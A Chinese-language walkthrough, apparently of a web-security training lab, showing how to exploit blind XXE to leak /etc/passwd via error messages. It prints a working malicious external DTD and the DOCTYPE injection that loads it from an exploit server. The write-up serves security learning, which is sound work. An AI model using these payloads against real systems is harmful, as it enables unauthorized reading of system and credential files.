第六关 利用盲 XXE 通过错误消息检索数据
这一关就是通过构造恶意 XML 请求,利用 XXE 漏洞读取目标系统的 /etc/passwd 文件内容,并通过 错误消息 验证数据泄露
提示:1、靶场具有“检查库存”功能,可解析 XML 输入,但不显示结果。
*2、要解决该实验室,请使用外部 DTD 触发显示 /etc/passwd 文件内容的错误消息
3、该实验室包含指向不同域上的漏洞利用服务器的链接,您可以在其中托管恶意 DTD。
具体操作
1、运行burp时,访问产品页面,单击“检查库存”,找到触发的库存检查的POST /product/stock数据包,发往repeater

2、靶场提示中说:使用外部 DTD 触发显示 /etc/passwd 文件内容的错误消息
那么先创建个dtd恶意文件,输入恶意代码
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
然后点击前往靶场给的漏洞利用服务器
内容导入后,此页面会将 /etc/passwd 的内容读入文件实体,然后尝试在文件路径中使用该实体
先复制URL:
https://exploit-0a73000e0400313d845d271601d400c5.exploit-server.net/exploit.dtd

在 XML 声明和 stockCheck 元素之间插入以下外部实体定义:
通过添加引用恶意 DTD 的参数实体来利用库存检查器功能
插入的语句
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a9900750402898980777f19013d00ee.exploit-server.net/exploit.dtd"> %xxe;]>

刷新浏览器,靶场过关
